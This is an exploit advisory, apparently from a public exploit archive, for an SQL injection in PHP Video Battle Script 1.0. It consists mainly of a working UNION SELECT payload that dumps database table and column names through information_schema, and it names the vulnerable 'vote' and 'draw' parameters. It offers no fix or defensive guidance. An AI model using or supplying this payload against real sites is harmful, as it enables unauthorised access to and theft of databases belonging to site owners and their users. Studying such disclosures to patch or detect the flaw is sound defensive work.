# # # # # # Exploit Title: PHP Video Battle Script 1.0 - SQL Injection # Dork: N/A # Date: 28.08.2017 # Vendor Homepage: http://www.rocky.nu/ # Software Link: http://www.rocky.nu/product/php-video-battle/ # Demo: http://videobattle.rocky.nu/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/[SQL].html # # -1'+uNiOn+SeleCt++0x31,0x32,0x33,0x34,0x35,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x37+--+--+-.html # # http://localhost/[PATH]/videobattle.html?vote=[SQL] # http://localhost/[PATH]/videobattle.html?draw=[SQL] # # Etc.. # # # # #